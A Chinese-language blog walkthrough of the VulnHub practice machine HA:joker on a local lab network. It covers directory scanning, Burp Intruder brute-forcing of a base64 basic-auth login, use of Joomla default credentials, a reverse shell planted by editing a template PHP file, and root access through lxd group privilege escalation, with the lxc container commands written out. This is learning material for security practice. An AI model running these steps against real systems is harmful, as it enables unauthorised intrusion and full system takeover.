VulnHub之HA:joker练习

环境:
靶机:HA:joker    IP:192.168.44.142
攻击机:kali linux    IP:192.168.44.126    (VMware)
 
1、信息收集
    靶机使用NAT网络模式,启动靶机后使用kali自带的工具netdiscover扫描,确定了该靶机的IP地址为192.168.44.142
 
    对开放的端口进行扫描,确认开放的端口信息,发现了80\8080\22\25\110端口。
 
    首先访问80端口。是一个小丑的页面,并没有其他信息,首先查看了页面源代码,也没有发现有价值的东西。
 
    访问8080端口,发现弹出一个需要登录用户密码的窗口
 
    此时使用目录扫描工具,扫一下看看,使用dirb工具,指定扫描.txt文件,发现了secret.txt文件
    dirb http://192.168.44.142/ -X .txt
 
    -----------------
    DIRB v2.22    
    By The Dark Raver
    -----------------
 
    START_TIME: Mon Apr 20 11:41:46 2020
    URL_BASE: http://192.168.44.142/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    EXTENSIONS_LIST: (.txt) | (.txt) [NUM = 1]
    
    -----------------
 
    GENERATED WORDS: 4612                                                          
 
    ---- Scanning URL: http://192.168.44.142/ ----
    + http://192.168.44.142/secret.txt (CODE:200|SIZE:320)                                                                                
                                                                                                                                      
    -----------------
    END_TIME: Mon Apr 20 11:41:50 2020
    DOWNLOADED: 4612 - FOUND: 1
 
    打开文件,额... ...摸不到头脑,不过根据教程说的,文本中的rock和100是提示信息,“Kali自带了一个名为rockyou.txt的密码字典,100的意思就是取字典的前100个…使用head命令取出rockyou.txt文件的前100个密码”
 
    然后启动Burp,查看8080端口服务的登录请求,图中的数据便是登录凭证,base64编码的形式
登陆凭证的格式为用户名:密码然后再经过一次base64编码。burp中将数据包发送到Intuder标记数据包中的登录账号密码
 
因为登录时会将账号和密码编码后再发送,所以我们需要把字典文件稍微做点变动。
按照图片的内容写了python脚本,但是运行起来总是有问题,于是自己就用了vim编辑器打开文件,一条命令也搞定了:
 
    在burp的intruder模块的payloadoptions中添加字典
    
    然后在payload processing中添加编码类型,如下图:
    
 
        设定好参数后,点击start attack,开始爆破,得到一个和其他返回数据大小不一样的数据包。
    对这个值进行base64解码:
    joker:hannah使用该账号密码进行登录,该站点使用了joomla这个CMS,登陆处尝试使用joomla的默认账号密码joomla进行登录,成功登录到管理员账户。
 
2、getshell
    登录到后台(上个页面中的Site Administrator是后台管理页面),账号密码还是joomla.
 
    发现在后台的模板修改功能中可以直接修改php文件——可以直接将模板文件中的PHP文件替换为反弹shell文件。
 
    选择模板
 
    修改index.php文件。
    将index.php文件修改为反弹shell代码,注意这里的ip地址,如果你是在物理机操作,将这个ip修改为你自己的本机ip。修改完成后点击save保存index.php文件。然后我们的物理机启动nc监控4444端口同时点击TemplatePreview按钮预览index.php文件
    反弹shell成功,但是反弹回来的shell还是不完整,需要使用python的pty模块创建一个虚拟终端环境,这样才可以正确执行Linux命令。
执行python3 -c 'import pty; pty.spawn("/bin/bash")'
 
    进入靶机后,使用id命令显示用户的ID,以及所属群组的ID,可以看到目前我们登录的这个账户名为www-data,所属组中还有一个特殊的lxd组,这个特殊的组就是我们提权的关键点。
 
3、提权
    想要提升为root权限,我们需要给靶机挂载一个lxd镜像。可以在kali或者自己的服务器上从github下载build-alpine文件,然后执行build-alpine这个shell脚本。“build-alpine”,将以压缩文件的形式构建最新的Alpine镜像,最后我们需要在靶机中下载这个镜像。
    git clone https://github.com/saghul/lxd-alpine-builder.git
    cd lxd-alpine-builder
    ./build-alpine
    
    完成后生成一个镜像
    把该文件发送到靶机上,这里使用kali自带的简易HTTP服务器,使用命令python -m SimpleHTTPServer(教程中是使用SimpleHTTPServer,但是我试了这个命令后,是不能执行的,显示模块不正确,所以自己用了下图中的命令python3 -m http.server 9009不知道是不是同一个应该,只是改了命令还是怎样,反正这个可以用。)
    在靶机上使用wget命令获取到镜像文件并挂载到系统中,同时定义该镜像别名为myimage
wget http://192.168.44.129:9009/alpine-v3.11-x86_64-20200420_1518.tar.gz(这里需要注意的地方就是,在反弹的靶机shell中wget攻击机的这个文件时,不能根目录下,要到tmp目录下,在下载,我在根目录下下载了好多遍都失败,小白的苦难啊... ...)
    再为lxd导入镜像,之后,将在新容器中初始化镜像,同时定义该镜像别名为myimage
    lxc image import ./alpine-v3.11-x86_64-20200420_1518.tar.gz --alias myimage
    lxc image list
 
    最后,我们把容器挂载到/root目录中。进入容器后通过/mnt/root可以看到靶机的所有文件。执行完脚本文件后,我们的shell操作符发生变化,代表我们现在进入的是容器的shell操作页面。这个容器拥有该靶机的root权限,也就是我们通过容器成功提权。这个时候其实整个靶机的渗透测试就已经结束了,不过还有一个flag文件在root目录下,cat命令查看final.txt获取flag.
    lxc init myimage ignite -c security.privileged=true
    lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
    lxc start ignite
    lxc exec ignite /bin/sh
    id
    cd /mnt/root/root
    ls
    cat final.txt
 
结束,一个就是secret.txt提示文件,这个我是没有看出来,跟着教程做的,所以...没有苦思冥想;爆破没什么难度,后面的提权是有点复杂了,lxd容器提权,这个命令很多更是不熟悉,还是需要多积累,多练习啊!
 
 
 
 
 
 
 
 
 
posted @ 2020-06-19 10:29  XYDD  阅读(310)  评论(0编辑  收藏  举报